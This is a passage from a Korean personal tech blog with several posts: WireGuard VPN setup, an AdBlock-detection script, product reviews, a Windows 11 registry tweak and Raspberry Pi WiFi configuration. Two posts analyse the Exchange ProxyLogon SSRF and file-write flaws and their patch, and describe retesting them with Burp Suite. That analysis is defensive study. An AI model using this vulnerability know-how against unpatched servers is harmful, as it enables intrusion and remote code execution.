      - /lib/modules:/lib/modules	# 연결할 로컬 디렉토리
    ports:
      - 51820:51820/udp	# WireGuard의 포트와 실제 포트 연결
    sysctls:
      - net.ipv4.conf.all.src_valid_mark=1
    restart: unless-stopped

아래는 이번 글을 쓰면서

사용한 yml 설정 값 입니다.

이번에 사용한 설정 값

.yml 을 이용한 설치 명령어 입니다.

# 컨테이너 설치 명령어(.yml 파일):
$ docker-compose -f WireGuard.yml up --build

WireGuard 설치

LinuxServer 그룹의 이미지들은

기본 세팅이 모두 자동화되어

편하게 설치할 수 있습니다.

아래 Client 들이 사용할

QRcode도 보여주네요.

모든 것이 알아서 세팅 된다 :)

- Client 연결용 키 확인

설치가 끝나면

사용자가 접속할 때

사용할 키들이

conf 폴더에 자동으로 생성됩니다.

(저는 윈도우에서 docker를 사용 중이기 때문에...

Bind한 로컬 디렉토리가 윈도우 폴더입니다.)

로컬 디렉토리에 생성된 사용자 키 파일

사용할 키 폴더를 들어가면

폴더 안에 접속을 위한 파일들이

있습니다.

(사용자 conf, QRcode, 키 파일)

사용자 연결용 파일들

# 사용

Wireguard는 자체적으로

모바일 앱이랑 PC 클라이언트를

제공하고 있습니다.

- 모바일 접속

Play 스토어나 앱 스토어에서

WireGuard 앱을 다운 받습니다.

나는 안드로이드 유저라 Play 스토어 :)

우측 하단에 (+) 버튼을

클릭하면

VPN을 추가할 방법들이 나옵니다.

우측 하단 더하기 버튼 터치

VPN 서버를 추가할

3가지 방법이 있지만

이번엔 편하게

QR코드로 추가했습니다.

QR코드 스캔

이제 WireGuard 서버에 생성된

QRcode를 찍고

VPN 이름 아무렇게나

적어주면 됩니다.

QRcode 찍고 이름 입력하고 만들기

이제 폰에 VPN이 생성됩니다.

생성된 VPN 터치만 해도

알아서 연결됩니다. :)

VPN 연결

- 컴퓨터 접속

PC 또한 WireGuard의 프로그램으로

VPN에 연결할 수 있습니다.

Windows 용 프로그램은

공식 홈페이지에서

받을 수 있습니다.

WireGuard 윈도우 프로그램 다운로드

Installation - WireGuard

Installation Windows [7, 8.1, 10, 11, 2008R2, 2012R2, 2016, 2019, 2022] Download Windows Installer Browse MSIs Download from App Store $ sudo apt install wireguard Download from Play Store Download from F-Droid Download from App Store Users with Debian rel

www.wireguard.com

Windows 용 WireGuard 프로그램

WireGuard 프로그램을

설치한 후 실행하면

Import tunnel(s) from file

버튼이 있습니다.

이 버튼을 클릭한 후,

VPN 서버에 생성된

클라이언트용 폴더(peer)의

.conf 파일을 선택하면

VPN이 추가됩니다.

VPN 추가 중

VPN 추가가 완료되었습니다.

Activate 버튼을 클릭하면

VPN에 접속하게 됩니다.

VPN 설정 완료

# 끝! 그리고 후기

OpenVPN은 이것저것 해줄게 많은데...

WireGuard는 확실히 편한거 같다.

- VPN 확인

확실히 IP가 바뀐다.

VPN 접속 전

VPN 접속 후

- 속도 테스트

NIA는 클라이언트를 설치해야해서 싫으니

벤치비에서 테스트했다.

http://beta.benchbee.co.kr/home.asp

벤치비 인터넷 속도 측정

beta.benchbee.co.kr

VPN 연결 전 속도

(Starbucks WiFi 사용 중...)

Starbucks WiFi

WireGuard 연결 후 속도

쓰는 데 무리는 없는 데

속도가...

음...

- 참고1: 모바일 연결 문제

사실 어제까지만 해도

폰에서 VPN 연결해도 느리길래

포스팅만 하고 OpenVPN으로

넘어가려고 했었다.

근데 오늘 카페에서 테스트해보니

빠르다.

(위에 속도 측정한게 의문이 들 정도로...

속도 보니 파일 업다운로드나 동영상 보거나

게임은 못할거 같다.)

이것 저것 테스트해보니

모바일에서는

VPN 연결 후

데이터 방식(5G, LTE)을

반대로 바꿔줘야 한다...

(ex: 5G -> LTE, LTE -> 5G)

(참고로...핸드폰은 KT 쓰고 있음...

다른 통신사는 테스트 안해봤어요...)

이유는 잘 모르겠움...

패킷 형태가 바뀌면서

차단되는 건가...;;;

- 참고2: 내 설정에 AllowIP 가 많은 이유

만약 현재 네트워크에

다른 서버가 있고

그 서버에 접속은 해야하는데

VPN은 또 써야한다면,

현재 네트워크의 대역이나,

접속해야할 IP는

AllowIP에서 제외해야한다.

나는 이게 접속지

(VPN 서버가 있는 네트워크)

서버에 있는 IP 대역을

제외해야하는 줄 알고...

즉, 오역해서 잘못 설정했다...

회사에서는 회사내 다른 서버에 붙어야 하니

회사 내부 IP 대역을 제외하고

AllowIP에 추가해줘야하지만

(물론, VPN 서버가 있는 네트워크의 대역대가

회사 내부 네트워크 대역대와 달라야

VPN 서버가 있는 곳의 다른 서버에

접속할 수 있다.)

나처럼 카페같은 외부에서 접속하는 경우엔

그냥 0.0.0.0으로 설정해야한다.

(기본 설정)

아 다시 세팅해야함...

- 계획: Raspberry Pi 4에서 테스트

원래,

라즈베리파이에서 VPN 구축했었는 데

위와 같은 이유로...

초기화 해버렸다.

그 땐 몰랐는 데,

지금은 알았으니

다시 구축해서 테스트해봐야겠다.

(그래도 라즈베리파이라서 느릴 듯....)

티스토리 애드센스 블록(AdBlock) 탐지 및 해제 요청 방법

루딘이 — Sat, 6 Nov 2021 23:49:01 +0900

이제는

AdBlock으로

광고 차단하는 게

당연해진 세상...

(근데 불법사이트 같은

뉴스 사이트의 광고는 못 막음 )

BlockAdBlock 처럼

아예 못 보게 하는 건

도의에 어긋나는 거 같고...

(일단 내가 당하면

빡침...ㅎㅎㅎ...)

내가 싫은 걸 강요할 수는 없기에

그냥 부탁 문구만 추가하는

스크립트를 작성해봄

# 원리

굉장히 간단하다.

AdBlock 등이 실행되면

구글 애드센스 스크립트의

값들이 생성이 안되기 때문에,

호출하면 없다고 나타난다.

그럼 호출해보고 없다고하면...?

AdBlock 때문에 막힌거다.

봐 없다잖아. 쿠팡도 막네...ㅠㅠ

# 기본 스크립트

위의 현상을 참고하여

기본 스크립트를 생성하면

다음과 같다.

<script>
function errorcheck () {
	if (!window.adsbygoogle.hasOwnProperty('push')) {
		// AdBlock 동작 중
		// 어떻게 할 지 입력
	}
}
errorcheck();
</script>

AdBlock이 탐지되면

어떻게 할 지 코드를 작성한 후,

완성된 스크립트를

티스토리 편집기의 HTML 편집기에 넣어주면 된다.

편집기 위치:
> 꾸미기 - 스킨 편집 - html 편집

스크립트 삽입 위치:
> ctrl + f로 /s_t3 검색 - </s_t3> 바로 위에 삽입
(티스토리 본문의 끝에 해당 -> 제일 마지막에 로드됨)

삽입 위치

# 어떻게 처리했냐면...

나의 경우

AdBlock 탐지 시

어떻게 처리했냐면...

하단에 플로팅 바를 생성하여

AdBlock 꺼달라고 빌었다...

글 다 읽을 때 까지...

기본 스크립트에서

추가된 내용은

다음과 같다.

추가된 내용:
1. 하단 플로팅 바에 해당하는 div 생성(<div class="floatdiv"></div>)

2. CSS로 스타일 지정
- 다른 건 자유지만, display="none"; 으로 안보이게 설정

3. 탐지 시 div 보이도록 수정
- display="block";

4. 출력할 내용 추가
- 내가 이걸 왜 스크립트로 했을 까...
~~- 실력없는 놈은...이래서 안돼...ㅠㅠ~~

1. 플로팅 바를 위한 div 태그 생성

간단하다.

아까 스크립트 위에

추가해줬다.

어차피 하단에 고정되어

스크롤해도 따라다니기 때문에

삽입 위치는 상관없다.

<div class="floatdiv"></div>

2. CSS 스타일 지정

floatdiv의 스타일을

마음대로 꾸미면 된다.

다만 하단에 고정 시키기 위해서

중요한 속성은

다음과 같다.

CSS 필수 속성:
- position: fixed; // 따라다니게 하려면 필수
- z-index: 10; // 다른 태그보다 최상단에 출력
- width: 100%; // 넓이는 화면 가로 길이
- text-align: center; // div 내부 가운데 정렬
- display: none; // 일단 안보이게 설정

아래는 내가 사용한 CSS 이다.

.floatdiv {
  position:fixed;
  z-index:10;
  overflow:hidden;
  background-color: #f0f0f0;
  width:100%;
  bottom:0;
  margin:0;
  padding:0;
  text-align:center;
  display:none;
}

적용 위치는 다음과 같다.

CSS 편집기 위치:
> 꾸미기 - 스킨 편집 - html 편집 - CSS

CSS 삽입 위치:
> 그냥 제일 아래, 맨 끝...

CSS 내용

3. 스크립트 수정

이제 AdBlock 탐지 시

div를 보이게 설정하고,

그 내용을 출력하도록

스크립트를 수정해야한다.

아래 처럼 하면 된다.

<script>
function errorcheck () {
	if (!window.adsbygoogle.hasOwnProperty('push')) {
		console.log("AdBlock Detected");
		/* 하단 고정용 DIV 찾기 */
		const floatdiv = document.getElementsByClassName('floatdiv').item(0);
		/* DIV를 출력하도록 스타일 변경 */
		floatdiv.style.display="block";
        
		/* DIV에 출력할 내용 입력 */
		const span = document.createElement('span');
		span.setAttribute('style', 'white-space: pre;');
		span.innerHTML = '<h4 style="color:#999;margin:10px auto;text-align:center;">글을 읽어주셔서 감사합니다.</h3><h4 style="font-weight:500;margin:10px auto;text-align:center;">이 블로그는 Google 광고 수익으로 콘텐츠를 만들고 있습니다.</h1><hr style=" display: block;margin-top: 0.5em;margin-bottom: 0.5em;margin-left: auto;margin-right: auto; border:1px solid #CCC; width: 25%;text-align:center;"><span style="text-align:center;">AdBlock의 사용을 잠시 멈춰 주세요.</span><div onmouseover="this.style.opacity=.5;" onmouseout="this.style.opacity=1;" style="cursor:pointer; border-radius:15px;padding:10px 60px;width:510px;margin:10px auto;background-color:#1ef09975;" onclick="window.location.reload();">AdBlock Pause/비활성화 후에 이 곳을 클릭해주세요. 새로고침 됩니다.(F5)</div>';
		floatdiv.appendChild(span);
	}
}
errorcheck();
</script>

사실...

위에서 DIV를

HTML에 입력할 때

그 내용도 입력해놓으면 되는 데...

정신없이 하다보니

이렇게 되있더라...;;;

# 끝

이제 적용하고,

테스트하면

아래처럼 나온다.

하단에 뙇. 애드블락 나빠요.

칫솔 살균기 커비랑 CVR-HT20 실사용 후기

루딘이 — Sat, 6 Nov 2021 19:47:23 +0900

많은 칫솔 살균기 제품이 있지만

건조가 된다는 제품들 중

무선 건조가 되는 제품은

많이 없더라구요.

커비랑 CVR-HT20은

1시간 동안

무선 건조가 가능해서

구매 후

만족스럽게 사용하고 있습니다.

살균기능

커비랑 CVR-HT20은

두 가지 방법을 통해

완전 살균을 하더라구요.

살균 중 :)

- UV-C LED 살균

이미 많은,

아마 대부분의

살균기에서 사용하는

UV-C LED 살균입니다.

커비랑 판매 페이지에서는

99.99% 살균이 된다고 하네요.

커비랑 판매 페이지에서 가져옴

(~~솔직히...~~

~~살균이 얼마나 되는 지는~~

~~직접 실험하기 전까지는~~

~~알 수가...~~

~~그냥 다니는 것보다~~

~~살균이 되는 게 좋으니까~~

~~쓰는 거지...~~)

- 무선 건조!

제가 이 제품을 구매한 이유입니다.

제품 설명에 따르면,

유선 연결이 아닌

무선 상태에서

1시간 동안

60℃ 로

건조가 가능하다고

합니다.

60분 건조

다른 제품들 처럼

대충 건조하면

아무리 UV-C LED로

살균을 해도

남아있는 물기에서

균이 번식하기 때문에

소용이 없었는 데

무선 상태에서

1시간 동안 건조를 해주니

믿음이 갔습니다.

거치 및 물통 포함

이제 품은 특이하게

물통이 포함되어 있더라구요.

브라켓이랑 USB선은

물통 안에 있습니다.

거치대와 물통, 본체

- 화장실 거치 및 휴대

다른 제품들과 마찬가지로

3M 접착 스티커가 붙어있는

브라켓이 포함되어 있습니다.

화장실 벽에 붙여놓으면

집 안팎 모두

편하게 쓸 수 있습니다.

커비랑 판매 페이지에서 가져옴

겸사겸사 파우치도 있어서

깔끔하게 들고 다니겠더라구요.

- 양치컵 포함

사실...

양치할 때

컵을 안쓰는 데...

이동시

칫솔 보관 용도로

딱이겠더라구요 :)

더군다나

본체와 자석으로 연결되어

탈부착이 가능합니다.

집에서 사용 시

컵을 거꾸로 매달아

건조 시킬 수 있습니다.

자석으로 탈부착 가능한 양치컵...(사실 칫솔 보관함)

UnBoxing

구성품이

단순합니다.

- 박스 앞부분

심플한 박스 앞부분

So Simple

- 구성

도화지? 하드지?

로 된 설명서와

파우치, 커비랑 제품이 있습니다.

충전기를 줘... 5V 1A만 된다며...

사용 방법

사용 방법은 간단합니다.

본체에 있는

전원 버튼을 터치하면 됩니다.

터치 1회(살균 모드)
- 10분 동안 자외선 살균

터치 2회(통합 모드)
- 5분 동안 1차 자외선 살균
- 1시간 동안 건조
(자외선 살균과 동시 진행)
- 종료 전 10분 동안 2차 자외선 살균

5초간 터치
- 살균 종료

사용 방법

주의할 점

몇가지 주의할 점이 있습니다 ㅠㅠ

- 5V 1A 충전기 사용

살균기들은

대부분 5V 1A 충전기를 사용합니다.

그래서

집에 쌓여있는

충전기말고

새로 사야 합니다.

ㅠㅠ...

- 방수 제품이 아닙니다.

0_0

욕실 제품인데...

방수 제품이 아닙니다...

회로가 들어나 보이는 건

아니지만

그렇다고 물을 부어버리거나

하면 안됩니다...

칫솔도 물기를 털고

제품에 사용해야합니다.

끝!

건조판이 양쪽에 있으면

더 좋을 거 같지만...

요즘 제품에선

무선 건조가 되는 것도

감지덕지해서...

커비랑 CVR-HT20

자외선 칫솔 건조 살균기 커비랑 CVR-HT20 양치컵 파우치 제공 친환경 양치 습관

COUPANG

www.coupang.com

아래는 커비랑 처럼

무선 건조가 되는 제품들입니다.

클레온 무선건조 칫솔 살균기

이건 몇 ℃로 건조하는 지 안 적혀 있어서 안삼...

클레온 무선건조 휴대용 칫솔살균기 UV-C LCU-200P

COUPANG

www.coupang.com

오아 클린이퓨어PRO

이건 팬이 있어서 바람 건조도 한다는 데

오히려 그 바람 때문에

열 건조가 안될거 같아서 안삼...

오아 클린이 퓨어 PRO 휴대용 유선 무선 겸용 UV C LED 자외선 칫솔 살균 건조기 OTS-004WH

COUPANG

www.coupang.com

구글 정책 문구...

"파트너스 활동을 통해 일정액의 수수료를 제공받을 수 있음"

[Windows 11] 노트북 덮개 절전모드 해제(레지스트리 수정)

루딘이 — Wed, 20 Oct 2021 17:20:13 +0900

노트북에 윈 11을 설치하고

덮개 덮으면 절전모드 안가게

윈도우 10과 동일하게 설정했지만

덮개를 덮어도

계속 절전모드로 들어가기에

아예 레지스트리를 수정해서

해결했습니다.

regedit 실행

레지스트리를 수정하기 위해

레지스트리 편집기를 실행합니다.

레지스트리 편집기 실행:
- 윈도우 키(시작메뉴) > regedit 입력 > 레지스트리 편집기 선택

regedit 실행

키, 값 추가

레지스트리 편집기에서 아래와 같이

키와 값을 생성해야 합니다.

생성해야할 키(위치):
- HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5CA83367-6E45-459F-A27B-476B1D01C936

생성해야할 값:
- Value Name: ACSettingIndex(전원 사용), DCSettingIndex(배터리 사용)
- Value Type: REG_DWORD
- Value: 0

위의 위치에서

Power\PowerSettings\5CA83367-6E45-459F-A27B-476B1D01C936

는 레지스트리 편집기에

없을 확률이 높습니다.

없을 경우 직접 생성해주면 됩니다.

마우스 우클릭 - 키 생성

키를 모두 생성했으면,

DWORD(32비트) 값을 생성하면 됩니다.

마우스 우클릭 - DWORD(32비트) 값 생성

생성할 때 이름을 적어주시면 됩니다.

해당 값을 더블 클릭하여

값을 수정할 수 있으나,

어차피 필요한 값이 0이라

이번엔 수정할 필요가 없습니다.

값 이름 수정

이제 윈도우 재부팅을 하면

노트북의 덮개를 덮어도

절전모드로 들어가지 않습니다.

레지스트리 백업

굳이 위의 과정을 직접하지 않아도

아래 레지스트리 파일을 실행하면

자동으로 설정이 됩니다.

Win11_Laptop_PowerSetting.reg

0.00MB

아래는 위 파일의 내용입니다.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Power\PowerSettings\5CA83367-6E45-459F-A27B-476B1D01C936]
"ACSettingIndex"=dword:00000000
"DCSettingIndex"=dword:00000000

윈 11은 왜케

부족한 설정이 많은 건지...

자기들도 직접 쓸텐데

뭐가 편하고 불편한지 모르나...

참고 링크

https://admx.help/?Category=Windows_11_2022&Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&Language=ko-kr

덮개 스위치 동작 선택(전원 사용)

덮개 스위치 동작 선택(전원 사용) 이 정책 설정은 사용자가 모바일 PC의 덮개를 닫으면 Windows에서 수행되는 동작을 지정합니다. 가능한 동작은 다음과 같습니다. -아무 작업 안 함 -절전 모드 -최

admx.help

Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 취약점 조치

루딘이 — Thu, 14 Oct 2021 12:52:56 +0900

마지막으로

ProxyLogon 취약점에 대한

조치 방안 및 분석입니다.

# 보안 패치 KB5000871

Microsoft에서는

ProxyLogon에 대한 보안 패치를

2021-03-12에 공개했습니다.

(LINK: https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016)

KB5000871 보안 패치

# CVE-2021-26855 패치 분석

- 타 사이트 접속 불가

보안 패치를 통해

URI의 Host를 검토하는 코드가

추가됐습니다.

FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler

취약점이 발생했던

GetTargetBackEndServerUrl() 메서드는 수정되지 않았으나,

이 메서드로 Back-End site의 주소를 받은 직후

받은 URI의 유효성을 검토하는 코드가

추가되었습니다.

ProxyRequestHandler.BeginProxyRequest() URI 검토 패치

ApplicationLogic.dll - BackEndServer.FromString

BackEndServer.FromString() 메서드 또한

Hostname을 검토하는 코드가 추가되었습니다.

BackEndServer.FromString() 패치

수동 테스트

Proxy Tool인 Burp Suite를 통해 직접 취약점을 테스트한

결과입니다.

URI 검토 코드에 의해 접근이 차단되어

오류페이지로 이동됩니다.

공격 실패 및 오류 페이지로 이동

- 인증 우회 불가

FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler

GetTargetBackEndServer() 메서드에서

Back-End site의 주소를 받은 이후,

URI 검토를 하면서

동시에 Kerberos 사용자 인증을 하는 코드가

추가되었습니다.

Kerberos 인증이 되지 않은 접근은

이 코드에 의해 차단됩니다.

ProxyRequestHandler.BeginProxyRequest() Kerberos 인증 패치

수동 테스트

Proxy Tool인 Burp Suite를 통해

직접 취약점을 테스트한 결과입니다.

Kerberos 인증 코드에 의해

접근이 차단되며 500 에러 코드를
반환합니다.

정보 획득 실패

# CVE-2021-27065 패치 분석

- 임의의 파일 작성 불가

보안 패치를 통해

파일의 확장자를 검토하는

코드가 추가됐습니다.

ControlPanel.dll - DDIService.WriteFileActivity.Run

생성되는 파일의 확장자를 검토하여

.txt 파일이 아닌 경우,

확장자를 추가하는 코드가 추가되었습니다.

WriteFileActivity.Run() 메서드 파일 확장자 검토 로직 추가

수동 테스트

Proxy Tool인 Burp Suite를 통해

직접 취약점을 테스트한 결과입니다.

파일을 생성했으나 보안 코드에 의해

.txt 확장자가 추가되어

RCE 코드를 실행시킬 수 없습니다.

Step 1) 가상 디렉터리 재설정 시

경로를 변조하여 파일 생성을 시도합니다.

임의의 파일 생성 시도

Step 2) 보안 코드에 의해

.txt 확장자가 추가되어

원격 명령을 실행할 수 없는

일반 텍스트 파일이 생성되었습니다.

.txt 파일 생성

# 끝

휴 다 썼다.

보안 패치는

항상 최신 버전으로

유지하기

2021.09.07 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개

2021.09.09 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석

[인공지능 스피커] 구글 네스트 허브 2세대(Google Nest Hub 2nd Generation) 실사용 후기

루딘이 — Thu, 23 Sep 2021 21:50:41 +0900

스마트홈에 입문시켜 준

Naver Clova On+가 사망하셨습니다...

2년 썼으면 많이 썼지모...ㅠㅠ

이젠 AI스피커가 없으면

안되는 몸이 되어버렸기 때문에

~~계획적으로~~ 부랴부랴

Google Nest Hub 2nd Generation

을 해외직구로 구매했습니다. ㅎㅎ

# 이거야 이거!!!

사실 Google Nest Hub Gen 2는

제가 몇 년 동안

제발 나왔으면 하는 형태를

그대로 갖추고 있습니다.

이거야! 이거!

- Display

첫 번째는 마치 태블릿 처럼

디스플레이를 가지고 있다는 점입니다.

태블릿처럼 사용자가

화면 구성을 커스터마이징할 수 있을 지는

모르겠으나,

실시간 시계 표시!
쨍한 화면!
동영상 시청 가능!

이 세가지 만으로

그 장점은 충분하다고

생각합니다.

아, 실시간 시계가 적힌 이유는

사실 LED 시계 그 어떤 제품을 사도

실시간 연동이 안되기 때문에

결국 주기적으로 시간을 다시 맞춰줘야 하는데

얘는 그럴 필요가 없다는 거...

몇 년 전에 이거 되는 시계 찾으려고

허비한 시간이...ㅠㅠ

- No Battery, only AC adapter

저는 집에서 쓰는 제품들은

배터리가 있는 걸 무척 싫어합니다.

(노트북 배터리도 제거하고 쓸 정도...)

어차피 그자리에서 이동도 하지 않는 데

오래 내비두면 배터리가 부풀기 때문...

배터리 넣고 가격 올리느니

배터리 빼고 가격 낮췄으면...

구글은 뭘 좀 아는지

공간이 충분해도

배터리를 빼버렸어요.

~~근데, 가격을 낮춘건지는 모르겠어요.~~

~~하긴, 기능에 비하면...~~

근데 해외 직구라 돼지코 필요....

미국 직구 제품이라 v110 Adapter 입니다.

프리볼트 제품이기 때문에

그냥 v220 전환 돼지코를 사용

(철물점 500원, 다이소에 없어요)

쿠팡엔 있어요.

슬림 멀티플러그 한국형 NO 0215

COUPANG

www.coupang.com

- Motion Sense

모션 인식이 추가되어

간단한 동작(퀵 제스쳐)가 가능하여

손바닥을 기기에 가져다 대는 것으로

미디어를 일시 중지 또는 재생할 수 있으며,

손을 흔들어 알람 및 타이머를 중지시킬 수 있습니다.

진짜, 가끔 말귀 못알아먹을 때

(특히, 자고일어난 아침)

짜증 많이 나는 데,

제스쳐나 터치로 조작이 가능하니

마음이 편합니다.

- 수면 상태 체크...

불면증 있을 때,

몸과 뇌를 혹사 시켜

피로로 치료한 나로써는

(잠 안온다 = 오늘 놀았네)

왜 좋은 건지는 모르겠으나

그 고통을 모르는 것도 아니기에...

신기하기도 하고

나에 대해 더 알게되기도 하고

기술의 발전이 대단하기도 하고

아직 개선이 필요한 것 같지만

스마트 워치 없이

수면 패턴 측정이 가능하다고 한다.

그래도 신기하다고 꼭 쓴다.

# 개봉!

새식구가 왔는 데

개봉이 빠질 순 없지

- 외부 포장

음...추석 연휴 기간 배송이어서 그런가

귀성길이 많이 힘들었나보다...

내 박스...ㅠㅠ

박스 옆에는

연동 가능한 서비스들이

적혀있습니다.

심지어 연동 잘 됨.

- 내부 구성

내부 구성은 조촐합니다.

기기 1개, 어댑터 1개, 간단한 설명서와 보증

끝.

이게 다임. Simple is the best...

의외로 케이블타이(메뚜기)가

재활용이 가능한 구조 입니다.

깔끔하게

선을 정리할 수 있습니다.

- 뒷태

참고로, 전원 버튼이 없습니다.

전원 연결하면 켜지고

빼면 꺼집니다.

- 상단: 마이크 On/Off 버튼
- 좌측: 스피커 음량 조절 버튼
- 하단: 어댑터 연결 단자

스피커 크다...저음 강화됐다고 하는데 기대됨

# 간단 사용 예시

UI가 없어서 그렇지

사실 태블릿입니다.

(추측이지만, 100% 안드로이드 탑재됨)

그래서 활용 범위와 방법은 다양할 수 있습니다.

(실제로, Twitch랑 naver 켜달라고 하니

웹 브라우저 켜서 접속함...

근데 좀 느림...ㅎㅎ;;)

여기서는 주변 기기 연동 방법 및

사용 예시를 포스팅하겠습니다.

- 초기 설정

초기 설정은 시키는 대로만

하면 쉽게 모바일과 네스트 허브가

연결 됩니다.

Step 1) Nest Hub를 처음 부팅하면,

앱을 설치하고 QR을 찍으라고 합니다.

Get the Google Home app

Step 2) Play 스토어에서 Google Home app을 설치하고 실행합니다.

Google Home 설치 & 실행

Step 3) 핸드폰의 블루투스를 켜놓고,

시키는 데로 진행하면 됩니다.

Nest Hub를 설정하시겠습니까?

연결 완료하고 기기 업데이트 중...

Step 4) 사실 해줘야 할 설정이 많습니다.

나중에 해도 되고, 수정도 가능합니다.

Uhm...나중에...?

- 스마트 홈 기기 연동

이제, 제가 꼭 AI스피커를 쓰는 이유인

스마트 홈 기기 연동입니다.

사실, 여기도 할 건 없습니다.

각 기기의 앱에서 설정이 끝났으면,

Google Nest Hub에서는

간단하게 계정 로그인만 하면 됩니다.

Step 1) "설정" 클릭

루틴 옆에 "설정" 클릭

Step 2) 아래 쪽에 "Google 호환 기기" 클릭

아래 쪽에 "Google 호환 기기" 클릭

Step 3) 너무 많다 보니..."검색"해서 찾아서 연동...

지금은 3개지만...더 늘려야지...ㅎ

- "Hey, Google! o o o 해줘"

연동된 기기들을

제어하는 모습입니다.

시작 명령어는
"Hey, Google" 과 "Ok, Google"
두 가지 입니다.

클로바와 다르게
명령어를 들어도
소리를 내지는 않습니다.
(어디 소리내는 설정이

있을 거 같은데...)

- "Hey, Google! 컴퓨터 켜줘"

컴퓨터가 켜집니다.

이거는 약간의 꼽수가 들어가 있습니다만...

켜집니다.

네, 플러그인에 전원을 켭니다.

여기에 사용한 스마트홈 기기는

AI Power Manager 입니다.

파워매니저 강아지 고양이 원격 제어 케어 AI 스마트플러그 16A

COUPANG

www.coupang.com

- "Hey, Google. 넷플릭스에서 루시퍼 켜줘"

몇 개월 째 정주행 중인

Lucifer

몇 개월 째지만...

정주행 중에 새시즌 나와서...

아 신나. 아무튼 신나.

근데 로딩에 시간이 좀 걸린다.

- "Hey, Google. 등 꺼/켜줘"

이 번에는 방의 천장등을 제어했습니다.

네, 등을 끕니다 / 네, 등을 껍니다(?)

방 등을 조절하는 방식은

중계기를 통한 블루투스 방식(ZigBee 였던가?)과

WiFi를 연결하는 방식이 있는 데

WiFi 방식을 좀 힘들게 찾아서

설치했습니다.

집 등 전원 내리고,

벽 스위치 교체하는 등

번거롭지만

깔끔합니다.

제품은 C2O 스마트 스위치 WiFi 입니다.

버튼 수는 다양합니다. WiFi 제품인게 중요.

[C2O] 스마트 ZigBee 2선식 1회로 전등스위치 / 중성선 필요없는 원격 전등 제어 / 스마트싱스 연동 EC

COUPANG

www.coupang.com

# 이외에도 다양

위의 예시 말고도

Google Assistant를 통해

다양한 기능을 사용할 수 있습니다.

1. 최적화된 알람 설정
- 꺼지지 않는 알람, 알람으로 유튜브 실행 등

2. 주소 입력을 통한 지도 기능

...기타 등등

사실 알람 빼곤

잘 쓰지는 않습니다...;;;

Youtube Music에서 클래식 듣기!

# 구매는 해외 직구로...

아직 국내 정식 발매가 아니어서

해외 직구로 구할 수 밖에 없습니다...

구글 네스트 허브 2세대는 전부 해외 직구...

제가 산 차콜은 싸게 팔던데

이상하게 다른 색상은 웃돈을 받네요.

물량 안 풀렸나, 인기를 아는 건가.

구글 네스트 허브 2세대 미니 AI 스피커 오디오 2nd

COUPANG

www.coupang.com

"파트너스 활동을 통해 일정액의 수수료를 제공받을 수 있음"

[Raspberry Pi 4 + OMV5] 무선 네트워크(WiFi) 연결

루딘이 — Sat, 11 Sep 2021 20:12:09 +0900

OMV5를 설치하면

무조건

무선 랜이

연결되지 않습니다.

이 문제를 해결한

방법입니다.

1. wpa_supplicant.conf

우선 연결할 WiFi를 설정해야 합니다.

Raspberry Pi 설치 시

/boot 폴더에 wpa_supplicant.conf 파일을

추가해서

무선 네트워크를 사용중이셨다면

이미 설정되어 있을 겁니다.

수정할 파일:
# vi /etc/wpa_supplicant/wpa_supplicant.conf

내용:
network={
        ssid="WiFi 이름"
        scan_ssid=1
        psk="WiFi 비밀번호"
        key_mgmt=WPA-PSK
        id_str="Home"
}

위에서 scan_ssid는

숨겨진 WiFi를 찾는 옵션이며,

key_mgmt는 WiFi의 암호화 방식,

id_str은 여러 WiFi를 등록했을 시

구분하는 식별자 입니다.

wpa_supplicant.conf 내용

2. /etc/network/interfaces

다음으로는

네트워크 설정 파일?을

수정해야 합니다.

수정할 파일:
# vi /etc/network/interfaces

내용:
source-directory /etc/network/interfaces.d
auto lo
iface lo inet loopback
iface eth0 inet manual

allow-hotplug wlan0
iface wlan0 inet manual
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

interfaces 내용

3. 확인

확인하기 전에

재부팅은

잊으시면 안됩니다.

# reboot

재부팅 후

SSH에 접속해서

확인한 IP 입니다.

ifconfig

OMV 웹 페이지에 접속해서

무선 랜이 연결된 것을

확인합니다.

wlan0 On

Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석

루딘이 — Thu, 9 Sep 2021 10:37:43 +0900

지난 글에 이어서

ProxyLogon 공격 과정을

분석한 내용입니다.

# Exchange 구조

Exchange의 웹 사이트는

IIS를 기반으로 하며,

Front-End site(Default Web site)와

Back-End site(Exchange Backend)로

구성되어 있습니다.

Front-End site(Default Web site)
- 사용자 UI
- Port 80 & 443 사용

Back-End site(Exchange Backend)
- 비즈니스 로직
- Port 81 & 444 사용

Exchange 구성

취약점은 이 두 Site 간

전달되는 데이터에에 대한

보안 검토가 미흡하여 발생합니다.

Exchange 구조 및 취약점 발생 Point

# CVE-2021-26855(SSRF)

SSRF 취약점은

공개된 PoC 코드의 공격 위치에 따라

연관된 모듈이 다르기 때문에

각각 작성했습니다.

- 타 사이트 접속

Front-End site로 들어온 사용자 요청은

내부 정보 추가 등의 과정을 거친 후

1:1로 연결된 Back-End site의 모듈로

전달됩니다.

사용자가 접속한 페이지에 따라

이 과정을 처리하는 모듈이 다르며,

각 모듈은 동일한 하나의 모듈을

상속받아 각 페이지 특성에 맞게

추가 구현되어 있습니다.

사용자 접속 Page	사용자 요청 처리 Module	최상위 Module
/owa	OwaProxyRequestHandler	ProxyRequestHandler
/ews	EwsProxyRequestHandler
/ecp	EcpProxyRequestHandler

FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler.cs

Front-End site에서 Back-End로 사용자 데이터를

전달하는 모듈들의 기본 모듈입니다.

이 모듈의 GetTargetBackEndServerUrl() 메서드는

Front-End Site에서 전달된 사용자 요청을 처리할

Back-End Site의 주소(URI)를 정의합니다.

ProxyRequestHandler.GetTargetBackEndServerUrl()

코드를 자세히 살펴보면

urlAnchorMailbox의 값이 Null일 때,

Back-End site의 Host 값을

this.AnchoredRoutingTarget.BackEndServer.Fqdn에서
